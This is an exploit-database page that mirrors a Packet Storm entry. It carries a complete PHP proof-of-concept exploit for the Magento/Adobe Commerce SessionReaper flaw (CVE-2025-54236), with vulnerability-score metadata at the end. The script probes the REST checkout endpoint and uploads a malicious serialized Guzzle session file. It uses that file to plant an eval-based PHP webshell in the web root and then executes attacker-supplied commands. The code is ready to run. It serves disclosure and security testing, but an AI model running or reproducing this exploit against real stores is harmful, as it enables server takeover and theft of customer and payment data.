Lucene search
K

📄 Magento 2 / Adobe Commerce 2.4.x SessionReaper

🗓️ 26 Jan 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 187 Views

Proof-of-concept exploit for Magento SessionReaper CVE-2025-54236 that deserializes, uploads, and executes a payload.

Related
Code
=============================================================================================================================================
    | # Title     : Magento 2 / Adobe Commerce 2.4.x SessionReaper Exploit                                                                      |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.1 (64 bits)                                                            |
    | # Vendor    : https://community.magento.com/                                                                                              |
    =============================================================================================================================================
    
    [+] References : https://packetstorm.news/files/id/212729/ & CVE-2025-54236
    
    [+] Summary    : This PHP script is a proof‑of‑concept exploit targeting Magento for CVE‑2025‑54236, commonly referred to as SessionReaper. 
                     It is a PHP port of an original Metasploit module and is designed for security testing.
    
    [+] What it does (high level):
    
    Generates random identifiers (session ID, filenames, parameters) to avoid collisions.
    
    Checks whether a Magento target appears vulnerable by sending crafted REST API requests and analyzing HTTP responses (400/404/500 patterns).
    
    If vulnerable, abuses PHP object deserialization via Magento’s REST endpoint to manipulate the session save path.
    
    Uploads a malicious session file using a file upload endpoint.
    
    Triggers deserialization to write a PHP file into a web‑accessible location.
    
    Executes a supplied PHP payload by POSTing base64‑encoded data to the dropped file.
    
    Uses cURL for all HTTP interactions and handles multipart/form‑data manually.
    
    [+] Key components:
    
    check() — determines vulnerability based on response behavior.
    
    exploit() — performs the full exploit chain and executes a payload.
    
    Guzzle/FW1 object serialization — used to craft the malicious session content.
    
    Randomization helpers — generate IDs, filenames, and parameters.
    
    CLI usage — allows running the script from the command line with a target URL and optional payload.
    
    [+] PoC :     
    
    # For testing only 
    
    php magento_exploit.php https://target.com/
    
    # For execution with a custom payload
    
    php magento_exploit.php https://target.com/ 'echo "Vulnerable!";'
    
    <?php
    
    class MagentoSessionReaperExploit
    {
        private $targetUrl;
        private $sessionId;
        private $sessionFilename;
        private $exploitFilename;
        private $postParam;
        private $formKey;
    
        public function __construct($targetUrl)
        {
            $this->targetUrl = rtrim($targetUrl, '/');
            $this->sessionId = $this->generateRandomHex(32);
            $this->sessionFilename = "sess_{$this->sessionId}";
            $this->exploitFilename = $this->generateRandomAlphanumeric(4, 8) . ".php";
            $this->postParam = $this->generateRandomAlphanumeric(4, 8);
            $this->formKey = $this->generateRandomAlphanumeric(8, 12);
        }
    
        public function check()
        {
            $randomPath = $this->generateRandomAlphanumeric(4, 8) . '/' . 
                         $this->generateRandomAlphanumeric(4, 8) . '/' . 
                         $this->generateRandomAlphanumeric(4, 8);
            
            $cartId = $this->generateRandomAlphanumeric(4, 8);
            $payload = $this->buildDeserializationPayload($randomPath);
            
            $url = $this->targetUrl . "/rest/default/V1/guest-carts/{$cartId}/order";
            
            $response = $this->sendRequest($url, 'PUT', $payload, [
                'Content-Type: application/json',
                'Accept: application/json'
            ]);
            
            if (!$response) {
                return ['status' => 'unknown', 'message' => 'No response from target'];
            }
            
            $httpCode = $response['http_code'];
            $body = strtolower($response['body']);
            
            switch ($httpCode) {
                case 400:
                    return ['status' => 'safe', 'message' => 'Target is patched (returns 400 Bad Request)'];
                    
                case 404:
                    if ($this->check404Response($body)) {
                        return ['status' => 'vulnerable', 'message' => 'Target returned 404 with expected error pattern'];
                    }
                    break;
                    
                case 500:
                    if ($this->check500Response($body)) {
                        return ['status' => 'vulnerable', 'message' => 'Target returned 500 error with SessionHandler'];
                    }
                    break;
            }
            
            return ['status' => 'unknown', 'message' => "Unexpected HTTP status: {$httpCode}"];
        }
    
        public function exploit($phpPayload)
        {
            echo "[*] Generating Guzzle/FW1 deserialization payload...\n";
    
            $phpStub = "<?php @eval(base64_decode(\$_POST['{$this->postParam}']));?>";
    
            $guzzlePayload = $this->buildGuzzleFw1Payload("pub/{$this->exploitFilename}", $phpStub);
            
            echo "[*] Uploading session file with Guzzle payload...\n";
    
            $uploadedPath = $this->uploadSessionFile($guzzlePayload);
            if (!$uploadedPath) {
                return ['success' => false, 'message' => 'Failed to upload session file'];
            }
    
            $savePath = "media/customer_address" . dirname($uploadedPath);
            
            echo "[*] Triggering deserialization...\n";
    
            if (!$this->triggerDeserialization($savePath)) {
                return ['success' => false, 'message' => 'Failed to trigger deserialization'];
            }
            
            echo "[*] Executing payload...\n";
    
            $encodedPayload = base64_encode($phpPayload);
            $executeUrl = $this->targetUrl . "/pub/{$this->exploitFilename}";
            
            $response = $this->sendRequest($executeUrl, 'POST', 
                http_build_query([$this->postParam => $encodedPayload]),
                ['Content-Type: application/x-www-form-urlencoded']
            );
            
            if ($response && $response['http_code'] == 200) {
                echo "[+] Payload executed successfully!\n";
                echo "[+] Response: " . substr($response['body'], 0, 500) . "...\n";
                
                return [
                    'success' => true,
                    'message' => 'Exploit completed',
                    'session_id' => $this->sessionId,
                    'exploit_file' => $this->exploitFilename,
                    'post_param' => $this->postParam
                ];
            }
            
            return ['success' => false, 'message' => 'Payload execution failed'];
        }
        private function check404Response($body)
        {
            if (strpos($body, 'no such entity') === false) {
                return false;
            }
            
            return (strpos($body, 'cartid') !== false) || 
                   (strpos($body, 'fieldname') !== false && strpos($body, 'fieldvalue') !== false);
        }
        private function check500Response($body)
        {
            if (strpos($body, '500 internal server error') !== false && 
                strpos($body, 'sessionhandler') === false) {
                return false;
            }
            
            return (strpos($body, 'sessionhandler::read') !== false) ||
                   (strpos($body, 'no such file or directory') !== false && 
                    strpos($body, 'session') !== false) ||
                   (strpos($body, 'webapi-') !== false);
        }
    
        private function sessionSaveDirFromFilename($filename)
        {
            return $filename[0] . '/' . $filename[1];
        }
    
        private function uploadSessionFile($content)
        {
            $filename = $this->sessionFilename;
            echo "[*] Uploading malicious session file: {$filename}\n";
            
            // Create multipart form data
            $boundary = '----' . md5(microtime());
            $eol = "\r\n";
            
            $data = "--{$boundary}{$eol}";
            $data .= "Content-Disposition: form-data; name=\"form_key\"{$eol}{$eol}";
            $data .= "{$this->formKey}{$eol}";
            
            $data .= "--{$boundary}{$eol}";
            $data .= "Content-Disposition: form-data; name=\"custom_attributes[country_id]\"; filename=\"{$filename}\"{$eol}";
            $data .= "Content-Type: application/octet-stream{$eol}{$eol}";
            $data .= "{$content}{$eol}";
            $data .= "--{$boundary}--{$eol}";
            
            $url = $this->targetUrl . "/customer/address_file/upload";
            
            $response = $this->sendRequest($url, 'POST', $data, [
                "Content-Type: multipart/form-data; boundary={$boundary}",
                "Cookie: form_key={$this->formKey}"
            ]);
            
            if (!$response || $response['http_code'] != 200) {
                echo "[-] Upload failed with HTTP code: " . ($response['http_code'] ?? 'No response') . "\n";
                return false;
            }
            
            // Parse JSON response
            $json = json_decode($response['body'], true);
            
            if (isset($json['error']) && $json['error'] != 0) {
                echo "[-] Upload failed: {$json['error']}\n";
                return false;
            }
            
            if (isset($json['file'])) {
                return $json['file'];
            }
            
            // Default path
            $saveDir = $this->sessionSaveDirFromFilename($filename);
            return "/{$saveDir}/{$filename}";
        }
    
        private function buildDeserializationPayload($savePath)
        {
            $payload = [
                'paymentMethod' => [
                    'paymentData' => [
                        'context' => [
                            'urlBuilder' => [
                                'session' => [
                                    'sessionConfig' => [
                                        'savePath' => $savePath
                                    ]
                                ]
                            ]
                        ]
                    ]
                ]
            ];
            
            return json_encode($payload);
        }
    
        private function triggerDeserialization($savePath)
        {
            $cartId = $this->generateRandomAlphanumeric(4, 8);
            $payload = $this->buildDeserializationPayload($savePath);
            
            $url = $this->targetUrl . "/rest/default/V1/guest-carts/{$cartId}/order";
            
            $response = $this->sendRequest($url, 'PUT', $payload, [
                'Content-Type: application/json',
                'Accept: application/json',
                "Cookie: PHPSESSID={$this->sessionId}"
            ]);
            
            if (!$response) {
                return false;
            }
            
            return in_array($response['http_code'], [404, 500]);
        }
    
        private function serializeStringAscii($str)
        {
            $result = '';
            $length = strlen($str);
            
            for ($i = 0; $i < $length; $i++) {
                $byte = ord($str[$i]);
                
                // Keep printable ASCII except backslash and double quote
                if ($byte >= 32 && $byte <= 126 && $byte != 92 && $byte != 34) {
                    $result .= $str[$i];
                } else {
                    // Escape as \xHH
                    $result .= sprintf("\\x%02x", $byte);
                }
            }
            
            return "S:{$length}:\"{$result}\";";
        }
    
        private function buildGuzzleFw1Payload($targetFile, $phpContent)
        {
            $escaped = "{$phpContent}\n";
    
            $setCookieData = "a:3:{" . 
                $this->serializeStringAscii('Expires') . "i:1;" .
                $this->serializeStringAscii('Discard') . "b:0;" .
                $this->serializeStringAscii('Value') . $this->serializeStringAscii($escaped) .
            "}";
            
               $setCookie = 'O:27:"GuzzleHttp\\Cookie\\SetCookie":1:' .
                "{" . $this->serializeStringAscii('data') . $setCookieData . "}";
            
               $cookiesArray = "a:1:{i:0;{$setCookie}}";
            
            $fileCookieJar = 'O:31:"GuzzleHttp\\Cookie\\FileCookieJar":4:' .
                "{" . $this->serializeStringAscii('cookies') . $cookiesArray .
                $this->serializeStringAscii('strictMode') . "N;" .
                $this->serializeStringAscii('filename') . $this->serializeStringAscii($targetFile) .
                $this->serializeStringAscii('storeSessionCookies') . "b:1;}";
            
            return "_|{$fileCookieJar}";
        }
    
        private function sendRequest($url, $method, $data = null, $headers = [])
        {
            $ch = curl_init();
            
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($ch, CURLOPT_HEADER, false);
            curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $method);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
            curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
            curl_setopt($ch, CURLOPT_TIMEOUT, 30);
            
            if ($data !== null) {
                curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
            }
            
            if (!empty($headers)) {
                curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
            }
            
            $body = curl_exec($ch);
            $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
            $error = curl_error($ch);
            
            curl_close($ch);
            
            if ($error && !$body) {
                echo "[-] cURL error: {$error}\n";
                return false;
            }
            
            return [
                'http_code' => $httpCode,
                'body' => $body,
                'error' => $error
            ];
        }
        
    
        private function generateRandomHex($length)
        {
            $bytes = random_bytes($length / 2);
            return bin2hex($bytes);
        }
        
        private function generateRandomAlphanumeric($min, $max)
        {
            $length = random_int($min, $max);
            $chars = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
            $result = '';
            
            for ($i = 0; $i < $length; $i++) {
                $result .= $chars[random_int(0, strlen($chars) - 1)];
            }
            
            return $result;
        }
    }
    
    if (php_sapi_name() === 'cli') {
        if ($argc < 2) {
            echo "Usage: php " . basename(__FILE__) . " <target_url> [payload]\n";
            echo "Example: php " . basename(__FILE__) . " https://target.com/ 'system(\"id\");'\n";
            exit(1);
        }
        
        $targetUrl = $argv[1];
        $payload = $argv[2] ?? 'echo "Exploit successful!";';
        
        $exploit = new MagentoSessionReaperExploit($targetUrl);
        
        echo "[*] Checking target: {$targetUrl}\n";
        $checkResult = $exploit->check();
        
        echo "[*] Check result: {$checkResult['status']} - {$checkResult['message']}\n";
        
        if ($checkResult['status'] === 'vulnerable') {
            echo "[*] Target appears vulnerable. Proceeding with exploit...\n";
            $result = $exploit->exploit($payload);
            
            if ($result['success']) {
                echo "[+] Exploit successful!\n";
                echo "[+] Session ID: {$result['session_id']}\n";
                echo "[+] Exploit file: {$result['exploit_file']}\n";
                echo "[+] POST parameter: {$result['post_param']}\n";
            } else {
                echo "[-] Exploit failed: {$result['message']}\n";
            }
        } else {
            echo "[-] Target does not appear vulnerable or check failed\n";
        }
    }
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

26 Jan 2026 00:00Current
5.9Medium risk
Vulners AI Score5.9
CVSS 3.19.1
EPSS0.72152
SSVC
187